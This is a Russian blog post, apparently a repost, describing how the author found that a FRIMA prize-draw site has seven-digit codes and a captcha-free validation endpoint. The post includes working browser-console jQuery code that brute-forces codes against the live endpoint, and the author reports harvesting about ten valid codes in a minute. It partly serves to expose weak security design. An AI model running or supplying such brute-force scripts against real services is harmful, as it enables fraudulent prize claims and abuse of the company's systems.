Ещё раз о том, как не надо делать розыгрыши призов

в 12:45, , рубрики: информационная безопасность, тестирование

На этот раз у нас отличилась компания FRIMA с их сухими сливками.

Сегодня вечером, я открыл пачку сливок, и заметил там маленький круглешок с кодом. Вообще в подобных мероприятиях я обычно не участвую, но мой взгляд привлекла маленькая мелочь, а именно: «код выигрыша» выглядел подобным образом: FRIMA1234123. Как заметили многие читатели, код состоит по сути из семи десятичных цифр, то есть всего у нас 10 000 000 комбинаций.

Первое же, что мне пришло в голову — это залезть на сайт для ввода кода — frima.biz/lottery, где обнаружилось, что для проверки кода не используется никакая капча. Беглый осмотр проходящего AJAX-запроса для проверки показал, что в ответ приходит JSON-объект, в котором есть поле code, которое равно 0 если код существует.

Следом за этим я открыл консоль браузера, и накидал следующий код:

t = [];
i = 1111111;

q = function() {
  jQuery.post('/lottery?task=ajax&action=checkTicketNumber',
    { spoof_id: 1, frmname: '', frmemail: '', 'extra_field[1]': '', 'extra_field[2]': '', ticket_number: 'FRIMA'+i },
    function(res) {
      if(JSON.parse(res).code == 0) { 
        t.push(i);
      };
      if(i < 1112222) { // не будем же мы ждать все 10 000 000 запросов
        i += 1;
       q();
      }
  });
};
q();

После этого мы можем в любой момент получить накопившийся список кодов, сделав

console.log(t);

Из кода несложно догадаться, что мы просто проверяем прямым перебором все возможные коды начиная с 1111111. Получив за минуту с десяток кодов, я удовлетворил своё эго и решил написать сюда.

В качестве итога я с осуждением смотрю на компанию TopWebDesign, которая с гордостью подписалась в футере рассмотренного сайта как разработчик этой халтуры.

Автор: GearHead

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js